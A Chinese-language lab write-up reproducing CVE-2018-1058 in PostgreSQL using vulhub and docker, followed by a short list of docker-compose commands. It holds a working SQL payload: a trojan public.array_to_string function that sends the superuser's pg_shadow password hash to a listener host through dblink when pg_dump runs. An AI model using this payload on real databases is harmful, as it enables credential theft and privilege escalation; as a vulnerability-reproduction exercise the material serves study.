声明
好好学习,天天向上
漏洞描述
PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
影响范围
9.3到10
复现过程
这里使用9.6.7版本
使用vulhub
/app/vulhub-master/postgres/CVE-2018-1058
使用docker启动
docker-compose build
docker-compose up -d
先通过普通用户vulhub:vulhub的身份登录postgres:
psql --host 192.168.239.129 --username vulhub
执行如下语句后退出(向192.168.239.139的6666端口传送密码)
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=192.168.239.139 port=6666 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
kali监听6666,等待超级用户触发我们留下的这个“后门”。
nc -lvvp 6666
装自己是超级用户,docker中,用超级用户的身份执行pg_dump命令,导出vulhub这个数据库的内容。
docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub
执行上述命令的同时,“后门”已被触发
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down